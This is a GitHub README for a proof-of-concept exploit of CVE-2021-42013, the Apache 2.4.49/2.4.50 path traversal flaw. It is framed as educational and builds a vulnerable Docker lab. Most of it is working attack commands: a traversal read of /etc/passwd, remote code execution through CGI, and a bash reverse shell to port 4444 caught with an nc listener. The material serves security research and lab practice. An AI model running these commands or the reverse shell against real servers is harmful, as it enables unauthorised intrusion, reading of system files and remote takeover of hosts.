asepsaepdin/cve-2021-42013
⚠️ For educational and authorized security research purposes only
Very grateful to the original PoC author Walnut Security Services Pvt. Ltd
An attacker could use a path traversal attack to map URLs to files outside the directories configured by Alias-like directives. If files outside of these directories are not protected by the usual default configuration "require all denied", these requests can succeed. If CGI scripts are also enabled for these aliased pathes, this could allow for remote code execution. This issue only affects Apache 2.4.49 and Apache 2.4.50 and not earlier versions.
First, clone the repository
git clone https://github.com/asepsaepdin/CVE-2021-42013.git
Change directory
cd CVE-2021-42013
Build vuln container
docker build -t CVE-2021-42013 .
Run ephemeral container
docker run --rm -it --name CVE-2021-42013 CVE-2021-42013
Check container ip address
docker inspect CVE-2021-42013 | grep "IPAddress"
Give executable permission to script
chmod +x cve-2021-42013.sh
To test for and confirm path traversal, a valid directory needs to be discovered which in this case is configured as /icons. So, executing the following command would trigger path traversal vulnerability and print the contents of /etc/passwd:
./cve-2021-42013.sh 172.17.0.3/icons /etc/passwd
To test for and confirm remote code execution, CGI should be configured and enabled which in this case is true. So, executing the following command would trigger remote code execution and print the output of the id command:
./cve-2021-42013.sh 172.17.0.3 /bin/bash id
From an attacker perspective, remote code execution is critical to get access to an interactive shell. So, executing the following command would trigger a conventional reverse shell over tcp based on bash to attacker’s system on port 4444/tcp:
./cve-2021-42013.sh 172.17.0.4 /bin/bash 'bash -i >& /dev/tcp/172.17.0.1/4444 0>&1'
nc -nlvp 4444